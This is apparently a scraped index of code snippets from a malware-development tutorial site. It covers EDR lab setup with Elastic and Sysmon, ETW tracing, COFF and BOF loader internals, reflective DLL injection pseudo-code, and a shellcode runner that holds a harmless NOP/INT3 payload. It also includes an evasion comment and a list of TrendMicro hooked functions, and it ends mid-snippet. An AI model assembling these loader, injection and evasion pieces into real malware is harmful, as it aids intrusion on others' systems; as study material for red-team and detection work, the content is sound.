Malware Development

https://otterhacker.github.io/Malware/
Admin
A comprehensive guide to malware development techniques including dropper creation, process...
Tokens:32,966
Snippets:339
Trust Score:8.3
Update:2 months ago
Show doc for...
Tokens:
Raw
### Install and Start Winlogbeats Service

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Installs the Winlogbeats service and sets it to start automatically.

```powershell
powershell -Exec bypass -File .\install-service-winlogbeat.ps1
Set-Service -Name "winlogbeat" -StartupType automatic
Start-Service -Name "winlogbeat"
Get-Service -Name "winlogbeat"

```

--------------------------------

### Install and Manage Kibana

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Commands to install and start the Kibana service.

```bash
apt-get install kibana
```

```bash
service kibana start
```

--------------------------------

### Install Sysmon with Configuration

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Downloads the Sysmon binary and a community-maintained configuration file, then installs Sysmon as a service.

```powershell
Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile Sysmon.zip
Expand-Archive .\Sysmon.zip -DestinationPath .
Invoke-WebRequest -Uri https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml -OutFile ./sysmonconfig.xml
.\Sysmon.exe -accepteula -i .\sysmonconfig.xml

```

--------------------------------

### Install and Manage Elasticsearch

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Commands to install, start, and check the status of the Elasticsearch service.

```bash
apt-get install elasticsearch
```

```bash
service elasticsearch start
service elasticsearch status
```

--------------------------------

### Setup Winlogbeats

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Initializes the Winlogbeats environment.

```bash
winlogbeat.exe setup -e

```

--------------------------------

### x64 Argument Passing Examples

Source: https://otterhacker.github.io/Malware/Docs/Passing%20arguments.html

Examples demonstrating register and stack allocation for various function signatures in x64.

```c
func1(int a, int b, int c, int d, int e, int f);
// a in RCX, b in RDX, c in R8, d in R9, f then e pushed on stack
```

```c
func2(float a, double b, float c, double d, float e, float f);
// a in XMM0, b in XMM1, c in XMM2, d in XMM3, f then e pushed on stack
```

```c
func3(int a, double b, int c, float d, int e, float f);
// a in RCX, b in XMM1, c in R8, d in XMM3, f then e pushed on stack
```

```c
func4(__m64 a, __m128 b, struct c, float d, __m128 e, __m128 f);
// a in RCX, ptr to b in RDX, ptr to c in R8, d in XMM3,
// ptr to f pushed on stack, then ptr to e pushed on stack
```

--------------------------------

### Install Filebeat

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Install the Filebeat agent.

```bash
apt install filebeat
```

--------------------------------

### Sysmon Installation and Management

Source: https://otterhacker.github.io/Malware/Kernel%20callback.html

Commands to install and uninstall the Sysmon service.

```bash
Sysmon.exe -i ${configFile}
```

```bash
Sysmon.exe -u
```

--------------------------------

### Install Winlogbeats

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Downloads and extracts the Winlogbeats binary to the Program Files directory.

```powershell
Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-7.10.0-windows-x86_64.zip -OutFile winlogbeat-7.10.0-windows-x86_64.zip
Expand-Archive .\winlogbeat-7.10.0-windows-x86_64.zip -DestinationPath .
mv .\winlogbeat-7.10.0-windows-x86_64 'C:\Program Files\winlogbeat'
cd 'C:\Program Files\winlogbeat\'

```

--------------------------------

### Install Elastic Repository

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Add the Elastic GPG key and repository to the system package manager.

```bash
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
sudo apt-get install apt-transport-https
echo "deb https://artifacts.elastic.co/packages/8.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-8.x.list
```

--------------------------------

### Load Library Example

Source: https://otterhacker.github.io/Malware/Kernel%20callback.html

A simple C program that loads a DLL to trigger an image load event.

```c
#include <windows.h>
#include <stdio.h>

int main()
{
    HMODULE hModule = LoadLibraryA("winhttp.dll");
    printf("WinHTTP: 0x%p\n", hModule);
    return 0;
}
```

--------------------------------

### Declare BeaconDataParse Import

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Example declaration for an internal Beacon API function.

```C
DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
```

--------------------------------

### Generate WinHTTP Event

Source: https://otterhacker.github.io/Malware/ETW.html

A C++ example that performs an HTTP GET request to trigger events in the Microsoft-Windows-WinHttp provider.

```cpp
#include <windows.h>
#include <winhttp.h>
#include <stdio.h>

#pragma comment(lib, "winhttp.lib")
int main(void) {

    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer;
    BOOL  bResults = FALSE;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;

    // Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(L"WinHTTP Example/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);

    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, L"www.microsoft.com",
            INTERNET_DEFAULT_HTTPS_PORT, 0);

    // Create an HTTP request handle.
    if (hConnect)
        hRequest = WinHttpOpenRequest(hConnect, L"GET", NULL,
            NULL, WINHTTP_NO_REFERER,
            WINHTTP_DEFAULT_ACCEPT_TYPES,
            WINHTTP_FLAG_SECURE);

    // Send a request.
    if (hRequest)
        bResults = WinHttpSendRequest(hRequest,
            WINHTTP_NO_ADDITIONAL_HEADERS, 0,
            WINHTTP_NO_REQUEST_DATA, 0,
            0, 0);


    // End the request.
    if (bResults)
        bResults = WinHttpReceiveResponse(hRequest, NULL);

    // Keep checking for data until there is nothing left.
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable.\n",
                    GetLastError());

            // Allocate space for the buffer.
            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                dwSize = 0;
            }
            else
            {
                // Read the data.
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
                    dwSize, &dwDownloaded))
                    printf("Error %u in WinHttpReadData.\n", GetLastError());
                else
                    printf("%s", pszOutBuffer);

                // Free the memory allocated to the buffer.
                delete[] pszOutBuffer;
            }
        } while (dwSize > 0);
    }


    // Report any errors.
    if (!bResults)
        printf("Error %d has occurred.\n", GetLastError());

    // Close any open handles.
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    return 0;
}
```

--------------------------------

### Hello World using DFR

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Example of a program using the Dynamic Function Resolution convention to link against MSVCRT.

```C
DECLSPEC_IMPORT int __cdecl MSVCRT$printf(const char* test, ...);

int main(void){
    MSVCRT$printf("Hello World !\n");
}
```

--------------------------------

### Relocation Example

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Demonstrates the transformation of section code by replacing placeholders with actual memory addresses.

```Assembly
  000000000000001B: 48 8D 0D 00 00 00 00 lea         rcx,[??_C@_0M@KPLPPDAC@Hello?5World@]
  0000000000000022: E8 00 00 00 00       call        __imp_printf
```

```Assembly
  000000000000001B: 48 8D 0D XX XX XX XX lea         rcx,[??_C@_0M@KPLPPDAC@Hello?5World@]
  0000000000000022: E8 YY YY YY YY       call        __imp_printf
```

--------------------------------

### Example C Source Code

Source: https://otterhacker.github.io/Malware/CoffLoader.html

A simple C program used as a reference for demonstrating symbol relocation.

```c
int main(void){
    printf("Hello World !\n");
}
```

--------------------------------

### Initialize Radare2 with empty buffers

Source: https://otterhacker.github.io/Malware/Docs/Tools/Radare2.html

Use these commands to start Radare2 without loading a file, useful for testing shellcode.

```bash
r2 -
r2  malloc://${bufferSizeInBytes} 
# r2 malloc://512
```

--------------------------------

### Sysmon Event Log Output

Source: https://otterhacker.github.io/Malware/Kernel%20callback.html

Example of an ImageLoad event generated by the kernel and captured by Sysmon.

```text
Image loaded:
RuleName: -
UtcTime: 2022-04-29 18:50:10.780
ProcessGuid: {3ebcda8b-3362-626c-a200-000000004f00}
ProcessId: 6716
Image: C:\Users\admin\Desktop\main.exe
ImageLoaded: C:\Windows\System32\winhttp.dll
FileVersion: 10.0.19041.1620 (WinBuild.160101.0800)
Description: Windows HTTP Services
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: winhttp.dll
Hashes: SHA1=4F2A9BB575D38DBDC8DBB25A82BDF1AC0C41E78C,MD5=FB2B6347C25118C3AE19E9903C85B451,SHA256=989B2DFD70526098366AB722865C71643181F9DCB8E7954DA643AA4A84F3EBF0,IMPHASH=0597CE736881E784CC576C58367E6FEA
Signed: true
Signature: Microsoft Windows
SignatureStatus: Valid
User: PUNCTURE\admin
```

--------------------------------

### C Global Variable Example

Source: https://otterhacker.github.io/Malware/CoffLoader.html

A simple C program demonstrating the use of a global variable.

```c
#include <stdio.h>
char myVariable[16] = "Hello World !\n";
int main(void){
    printf("%s", myVariable);
}
```

--------------------------------

### C Source Code for Symbol Linking Example

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Demonstrates how variables defined in one file are referenced as external symbols in another.

```c
// file1.c
char myVariable[16] = "Hello World !\n";

// file2.c 
extern char myVariable[16];
int main void(){
    printf("%s", myVariable);
}
```

--------------------------------

### Register New Tracing Session

Source: https://otterhacker.github.io/Malware/ETW.html

Starts the configured tracing session using the StartTraceW Win32 API.

```C++
TRACEHANDLE tracingSessionHandle = 0;
ULONG status = StartTraceW(&tracingSessionHandle, tracingSessionName, newTracingSession);
```

--------------------------------

### List ETW Providers

Source: https://otterhacker.github.io/Malware/ETW.html

Displays all registered ETW providers and their associated GUIDs.

```bash
logman query providers


# Provider                                 GUID
# -------------------------------------------------------------------------------
# _802dot1X                                {1B243C08-ABC2-C043-37FD-A730D9E8E45C}
# ACPI Driver Trace Provider               {DAB01D4D-2D48-477D-B1C3-DAAD0CE6F06B}
# Active Directory Domain Services: SAM    {8E598056-8993-11D2-819E-0000F875A064}
# Active Directory: Kerberos Client        {BBA3ADD2-C229-4CDB-AE2B-57EB6966B0C4}
# Active Directory: NetLogon               {F33959B4-DBEC-11D2-895B-00C04F79AB69}
# ADODB.1                                  {04C8A86F-3369-12F8-4769-24E484A9E725}
# ADOMD.1                                  {7EA56435-3F2F-3F63-A829-F0B35B5CAD41}
# Application Popup                        {47BFA2B7-BD54-4FAC-B70B-29021084CA8F}
# Application-Addon-Event-Provider         {A83FA99F-C356-4DED-9FD6-5A5EB8546D68}
# ATA Port Driver Tracing Provider         {D08BD885-501E-489A-BAC6-B7D24BFE6BBF}
# AuthFw NetShell Plugin                   {935F4AE6-845D-41C6-97FA-380DAD429B72}
# ...
```

--------------------------------

### Retrieve First Relocation Block Address

Source: https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html

Access the start address of the Relocation Table from the PE DataDirectory.

```cpp
PVOID firstRelocationBlock = ntHeader->OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress
```

--------------------------------

### Declare Payload as Global Data

Source: https://otterhacker.github.io/Malware/Introduction/2%20-%20Payload%20Storage.html

Example structure for linking a payload as read-only data within the binary.

```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// The payload is not declared in the code but linked during compilation

int main(void) {

    [...]
}
```

--------------------------------

### C Constant Variable Example

Source: https://otterhacker.github.io/Malware/CoffLoader.html

A C program demonstrating the use of a constant global variable, which is placed in the .rdata section.

```c
#include <stdio.h>
const char myReadOnlyVariable[16] = "ReadOnly \n";
int main(void){
    printf("%s", myReadOnlyVariable);
}
```

--------------------------------

### Declare global variables

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Examples of variable declarations that influence which PE section stores the data.

```c
int a;
```

```c
int a = 5;
```

```c
const int a = 5;
```

--------------------------------

### Get process handle by name in C

Source: https://otterhacker.github.io/Malware/Docs/Code%20snippet.html

Uses CreateToolhelp32Snapshot to iterate through running processes and return a handle to the first matching executable name.

```C
#include <TlHelp32.h>

HANDLE getProcHandlebyName(LPCWCHAR procName, DWORD* PID) {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    NTSTATUS status = NULL;
    HANDLE hProc = 0;

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (Process32First(snapshot, &entry)) {
        do {
            if (wcscmp((entry.szExeFile), procName) == 0) {
                *PID = entry.th32ProcessID;
                HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *PID);

                if (!hProc) {
                    continue;
                }
                return hProc;
            }
        } while (Process32Next(snapshot, &entry));
    }

    return NULL;
}
```

--------------------------------

### SilkETW VirtualAlloc Event JSON Output

Source: https://otterhacker.github.io/Malware/ETW.html

Example of a JSON-formatted event log generated by SilkETW when a VirtualAlloc operation is detected.

```json
{
  "ProviderGuid": "9e814aad-3204-11d2-9a82-006008a86939",
  "YaraMatch": [],
  "ProviderName": "MSNT_SystemTrace",
  "EventName": "PageFault/VirtualAlloc",
  "Opcode": 98,
  "OpcodeName": "VirtualAlloc",
  "TimeStamp": "2022-09-08T14:30:15.9588384+02:00",
  "ThreadID": 37036,
  "ProcessID": 35088,
  "ProcessName": "HTTP",
  "PointerSize": 8,
  "EventDataLength": 24,
  "XmlEventData": {
    "ProviderName": "MSNT_SystemTrace",
    "ProcessId": "35,088",
    "EventName": "PageFault/VirtualAlloc",
    "PID": "35088",
    "Flags": "12,288",
    "TID": "37036",
    "BaseAddress": "0x1094a030000",
    "RegionSize": "0x1000",
    "MSec": "10155.6890",
    "PName": "HTTP"
  }
}
```

--------------------------------

### Define COFF Header Structure

Source: https://otterhacker.github.io/Malware/CoffLoader.html

C structure representing the COFF file header starting at offset 0.

```c
typedef struct _CoffHeader {
    uint16_t    machine;
    uint16_t    numberOfSections;
    uint32_t    timeDateStamp;
    uint32_t    pointerToSymbolTable;
    uint32_t    numberOfSymbols;
    uint16_t    sizeOfOptionalHeader;
    uint16_t    characteristics;
} CoffHeader;
```

--------------------------------

### Initialize emulation environment

Source: https://otterhacker.github.io/Malware/Docs/Tools/Radare2.html

Prepare the VM, stack, and program counter for instruction emulation.

```radare2
# Initialize the VM
aei 
# Initialize the stack
aeim
# Initialize the program counter
```

--------------------------------

### Build MS project from command line

Source: https://otterhacker.github.io/Malware/Docs/Code%20snippet.html

Executes a clean and build operation for a project in Release configuration.

```bash
msbuild -p:Configuration=Release -t:Clean,Build
```

--------------------------------

### Identify ETW Provider

Source: https://otterhacker.github.io/Malware/ETW.html

Displays the provider name and GUID for Microsoft-Windows-WinHttp.

```text
Microsoft-Windows-WinHttp                {7D44233D-3055-4B9C-BA64-0D47CA40A232}
```

--------------------------------

### Deploy Certificates

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Unzip and move generated certificates to their respective service directories with correct permissions.

```bash
unzip certs.zip

mkdir -p /etc/elasticsearch/certs
mv elasticsearch/* /etc/elasticsearch/certs
cp ca/ca.crt /etc/elasticsearch/ca.crt
chown -R elasticsearch: /etc/elasticsearch/certs
chmod -R 770 /etc/elasticsearch/certs

mkdir -p /etc/kibana/certs
mv kibana/* /etc/kibana/certs
cp ca/ca.crt /etc/kibana/ca.crt
chown -R kibana: /etc/kibana/certs
chmod -R 770 /etc/kibana/certs

mkdir -p /etc/filebeat/certs
mv zeek/* /etc/filebeat/certs
cp ca/ca.crt /etc/filebeat/ca.crt
chmod 770 -R /etc/filebeat/certs
```

--------------------------------

### Retrieve Function Address

Source: https://otterhacker.github.io/Malware/Introduction/4%20-%20Function%20Call%20Obfuscation.html

Get the memory address of an exported function from a DLL using GetProcAddress.

```cpp
function = GetProcAddress(dllHandle,  "functionFromDll")
```

--------------------------------

### Execute Payload from .text Section

Source: https://otterhacker.github.io/Malware/Introduction/2%20-%20Payload%20Storage.html

Demonstrates allocating memory, copying a payload, changing memory protection to executable, and running it via a thread.

```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {

    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    // 4 byte payload
    unsigned char payload[] = {
        0x90,        // NOP
        0x90,        // NOP
        0xcc,        // INT3 : give process flow to debugger
        0xc3        // RET
    };
    unsigned int payload_len = 4;

    // Allocate a memory buffer for payload
    exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
    printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

    // Copy payload to new buffer
    RtlMoveMemory(exec_mem, payload, payload_len);

    // Make new buffer as executable
    // This is not done during the first allocation because it is weird that a memory space is RWX at the same time.
    // Doing this in two step allow basic evasion.
    rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

    printf("\nHit me!\n");
    getchar();

    // If all good, run the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);
    }

    return 0;
}
```

--------------------------------

### Create a new tracing session

Source: https://otterhacker.github.io/Malware/ETW.html

Initializes a new trace session with the specified name.

```bash
logman create trace ${tracingSessionName} -ets
```

--------------------------------

### Monitor Provider with SilkETW

Source: https://otterhacker.github.io/Malware/ETW.html

Command to capture events from the specified provider and save them to a file.

```bash
.\SilkETW.exe -t user -pn Microsoft-Windows-WinHttp  -ot file -p ./event.txt
```

--------------------------------

### Compile DLL with cl.exe

Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html

Command-line instruction to compile a C++ source file into a DLL.

```bash
cl.exe /D_USRDLL /D_WINDLL ${dllCode.cpp} /MT /link /DLL /OUT:${dllFile.dll}
```

--------------------------------

### Initialize PEVENT_TRACE_PROPERTIES Array

Source: https://otterhacker.github.io/Malware/ETW.html

Prepare the memory structures required to query active ETW tracing sessions.

```cpp
// By default, Windows does not support more than 64 parallele tracing sessions
#define MAXIMUM_LOGGERS 64
#define MAXSTR 1024

// Array containing all tracing sessions
PEVENT_TRACE_PROPERTIES  tracingSessions[MAXIMUM_LOGGERS];

// Object representing a single tracing session
ULONG SizeForOneProperty = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);
ULONG SizeNeeded = MAXIMUM_LOGGERS * SizeForOneProperty;
PEVENT_TRACE_PROPERTIES singleTracingSession = (PEVENT_TRACE_PROPERTIES)malloc(SizeNeeded);

// Initializing tracingSessions internal structures
for (size_t LoggerCounter = 0; LoggerCounter < MAXIMUM_LOGGERS; LoggerCounter++) {
      singleTracingSession->Wnode.BufferSize = SizeForOneProperty;
        singleTracingSession->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
        singleTracingSession->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + MAXSTR * sizeof(TCHAR);

    // Set the value in the global tracing session array
    tracingSessions[LoggerCounter] = singleTracingSession;
    // Jump to the next tracing session to initialize
        singleTracingSession = (PEVENT_TRACE_PROPERTIES)((PUCHAR)singleTracingSession + singleTracingSession->Wnode.BufferSize);
}
```

--------------------------------

### Pre-calculate section sizes and cache symbols

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Iterate through symbols to calculate required section sizes and store metadata before memory allocation.

```c
// pseudo code

size_t bssOffset = 0;
size_t gotSize = 0;
// loop over each symbols
for (uint32_t i = 0; i < coffHeader->numberOfSymbols; i++) {

    // get the current symbol
    CoffSymbol* coffSymbol = (CoffSymbol*)((uint64_t)symbols + (uint64_t)i * SYMBOL_SIZE);

    if(isUninitializedVariable(coffSymbol)){
        // save the symbol information
        bssSymbols.append({
            .symbol = coffSymbol,
            .bssOffset = bssOffset
        });

        // extend the futur .bss section size
        bssOffset += coffSymbol->value;
    }
    else if(isExternalFunction(coffSymbol)){

        // get the external function address through GetProcAddress 
        // or in the internalFunctions array
        void *functionAddress = resolveExternalFunction(coffSymbol);

        // save the symbol information
        gotSymbols.append({
            .symbol = symbol,
            .function = functionAddress,
            .gotOffset = gotOffset
        });

        // extend the futur .got section size
        gotOffset += 0x08;
    }
}

// allocate the sections with the right size
void *got = VirtualAlloc(gotSize);
void *bss = VirtualAlloc(bssSize);
```

--------------------------------

### Analyze PE Headers with Dumpbin

Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html

Commands for inspecting PE headers, exports, and imports using the Visual Studio dumpbin utility.

```bash
#In a visual studio command prompt
#To see header
dumpbin /headers ${file.exe}

#To see exported function (DLL)
dumpbin /export ${file.dll}

#To see dll imported by an exe
dumpbin /imports file.exe
```

--------------------------------

### Generate SSL Certificates

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Commands to generate the CA and instance-specific certificates.

```bash
bin/elasticsearch-certutil ca -pem
```

```bash
bin/elasticsearch-certutil cert -ca-cert ca/ca.crt -ca-key ca/ca.key -pem -in instances.yml --out certs.zip
```

--------------------------------

### Invoke DLL Entry Point

Source: https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html

Pseudo-code for manually invoking the DLL entry point after loading.

```c
// pseudo code

typedef BOOL(WINAPI* LPDLLMAIN)(DWORD_PTR image_base, DWORD reason, LPVOID reserved);

LPDLLMAIN entryPoint = (LPDLLMAIN)startAddress + dllParsed->ntHeader->OptionalHeader.AddressOfEntryPoint);
if(entrypoint) {
    BOOL status = entryPoint((HINSTANCE)dllParsed->baseAddress, DLL_PROCESS_ATTACH, NULL);
}
```

--------------------------------

### Get process ID by name in VBA

Source: https://otterhacker.github.io/Malware/Docs/Code%20snippet.html

Uses Windows API declarations to iterate through process snapshots and return the process ID for a matching name.

```VBA
Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare PtrSafe Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, PE32 As PROCESSENTRY32) As Long
Private Declare PtrSafe Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, PE32 As PROCESSENTRY32) As Long


Private Function PIDByProcName(ProcName As String) As Integer
    Dim PE32 As PROCESSENTRY32
    Dim Proc_Name As String
    Dim hSnapshot As Long
    Dim lRet As Long
    Dim PID As Integer

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)

    If hSnapshot <> INVALID_HANDLE_VALUE Then
        PE32.dwSize = Len(PE32)
        lRet = Process32First(hSnapshot, PE32)

        Do While lRet
            Dim comp As Integer
            comp = InStr(1, PE32.szExeFile, ProcName, vbBinaryCompare)
            If comp > 0 Then
                PIDByProcName = PE32.th32ProcessID
                Exit Function
            End If

            lRet = Process32Next(hSnapshot, PE32)
        Loop
        CloseHandle hSnapshot
    End If
End Function
```

--------------------------------

### Define Certificate Instances

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Configuration for generating certificates for multiple service instances.

```yaml
instances:
    - name: "elasticsearch"
      ip:
        - "192.168.253.18"
    - name: "kibana"
      ip:
        - "192.168.253.18"
    - name: "zeek"
      ip:
        - "192.168.253.18"
```

--------------------------------

### Compile EXE with cl.exe

Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html

Command-line instruction to compile a C++ source file into an executable.

```bash
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /${exeCode.cpp} /link /OUT:${exeFile.exe} /SUBSYSTEM:CONSOLE /MACHINE:x64
```

--------------------------------

### Sysmon Configuration File

Source: https://otterhacker.github.io/Malware/Kernel%20callback.html

XML configuration for Sysmon to monitor ImageLoad events for a specific executable.

```xml
<Sysmon schemaversion="4.50">
    <HashAlgorithms>md5,sha256,IMPHASH</HashAlgorithms>
    <CheckRevocation/>
    <EventFiltering>
        <RuleGroup name="" groupRelation="or">
            <ImageLoad onmatch="include">
                <Image condition="end with">KernelCallbacks.exe</Image>    
            </ImageLoad>
        </RuleGroup>
    </EventFiltering>
</Sysmon>
```

--------------------------------

### Run DLL via Rundll32

Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html

Command to execute a specific exported method from a DLL.

```bash
rundll32 ${file.dll} ${exportedMethod}
```

--------------------------------

### Inspect PE file type

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Use the file command to verify the format of a Windows executable.

```bash
┌──(pikachu㉿Kali)-[~/Share]
└─$ file windowsExecutable.exe 
windowsExecutable.exe: PE32+ executable (console) x86-64, for MS Windows
```

--------------------------------

### List TrendMicro Userland Hooks

Source: https://otterhacker.github.io/Malware/EDR/TrendMicro.html

Displays the DLLs and specific functions hooked by TrendMicro in userland.

```text
[+] 0x00007FF84DA00000 : ntdll.dll (C:\Windows\SYSTEM32\ntdll.dll)
        [+] LdrLoadDll
        [+] LdrUnloadDll
        [+] NtCreateMutant
        [+] NtCreateThread
        [+] NtCreateThreadEx
        [+] NtDeviceIoControlFile
        [+] NtDuplicateToken
        [+] NtLoadDriver
        [+] NtMapViewOfSection
        [+] NtProtectVirtualMemory
        [+] NtQueueApcThread
        [+] NtReadVirtualMemory
        [+] NtSetContextThread
        [+] NtSetInformationThread
        [+] NtTerminateProcess
        [+] NtWriteVirtualMemory
[+] 0x00007FF84D670000 : KERNEL32.DLL (C:\Windows\System32\KERNEL32.DLL)
        [+] CopyFileA
        [+] CopyFileExA
        [+] CreateRemoteThread
        [+] CreateToolhelp32Snapshot
        [+] MoveFileA
        [+] MoveFileExA
        [+] MoveFileW
        [+] MoveFileWithProgressA
[+] 0x00007FF84A620000 : KERNELBASE.dll (C:\Windows\System32\KERNELBASE.dll)
        [+] CopyFileExW
        [+] CopyFileW
        [+] CreateProcessInternalA
        [+] CreateProcessInternalW
        [+] CreateRemoteThreadEx
        [+] ImpersonateLoggedOnUser
        [+] MoveFileExW
        [+] MoveFileWithProgressW
        [+] VirtualAlloc
        [+] VirtualAllocEx
        [+] WriteProcessMemory
[+] 0x00007FF84D860000 : ADVAPI32.dll (C:\Windows\System32\ADVAPI32.dll)
        [+] CreateProcessWithTokenW
        [+] CreateRestrictedToken
        [+] CreateServiceA
        [+] CreateServiceW
        [+] EncryptFileW
```

--------------------------------

### Allocate .bss section

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Allocates memory to emulate the .bss section for uninitialized variables.

```C
//pseudo code
void *bss = VirtualAlloc(1024);
```

--------------------------------

### Display executable sections

Source: https://otterhacker.github.io/Malware/Docs/Dumpbin.html

Use these commands to list or filter section information within an executable file.

```bash
dumbin.exe /SECTION ${exe}
```

```bash
dumpbin.exe /SECTION:${sectionName} ${exe}
```

--------------------------------

### Implement DllMain

Source: https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html

Standard entry point function for a DLL, handling process and thread attachment/detachment events.

```c
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpvReserved )  // reserved
{
    // Perform actions based on the reason for calling.
    switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
            break;

        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:

            if (lpvReserved != nullptr)
            {
                break; // do not do cleanup if process termination scenario
            }

         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}
```

--------------------------------

### Execute TLS Callbacks

Source: https://otterhacker.github.io/Malware/Reflective%20DLL%20injection.html

Pseudo-code for locating and executing TLS callback functions defined in the PE Data Directory.

```c
// pseudo code

// Check if any TLS callback is defined
if (dllParsed->dataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size) {

    // Get the TLS information
    PIMAGE_TLS_DIRECTORY tlsDir = startAddress + dllParsed->dataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress

    // Get the TLS function address
    PIMAGE_TLS_CALLBACK* callback = (PIMAGE_TLS_CALLBACK*)(tlsDir->AddressOfCallBacks);
    for (; *callback; callback++) {
        // Call the function
        (*callback)((PVOID)dllParsed->baseAddress, DLL_PROCESS_ATTACH, NULL);
    }
}
```

--------------------------------

### EXE Main Function Template

Source: https://otterhacker.github.io/Malware/Introduction/1%20-%20PE.html

The entry point for an independent executable process.

```cpp
int main(int argc, char* argv){
    ...
}
```

--------------------------------

### Test Filebeat Configuration

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Commands to verify Filebeat configuration and connectivity to Elasticsearch.

```bash
filebeat test config
filebeat test output

```

--------------------------------

### Query All Active Traces

Source: https://otterhacker.github.io/Malware/ETW.html

Populate the initialized array with information about currently active tracing sessions.

```cpp
// Fill the tracingSessions array with all active sessions information
ULONG numberOfTracingSessions;
Status = QueryAllTraces(
  tracingSessions,
  MAXIMUM_LOGGERS,
  &numberOfTracingSessions
);
```

--------------------------------

### Debug Elastic Services

Source: https://otterhacker.github.io/Malware/EDR/Elastic%20EDR.html

Commands to view logs for troubleshooting service startup issues.

```bash
journalctl -u elasticsearch.service
journalctl -u kibana.service
journalctl -u filebeat.service

```

--------------------------------

### Pack BOF Parameters

Source: https://otterhacker.github.io/Malware/CoffLoader.html

Utility function to format a list of arguments into the binary blob format required by CobaltStrike BOFs.

```C
typedef struct _Arg {
    void* value;         // the useful argument value
    size_t size;        // the size in byte of the value
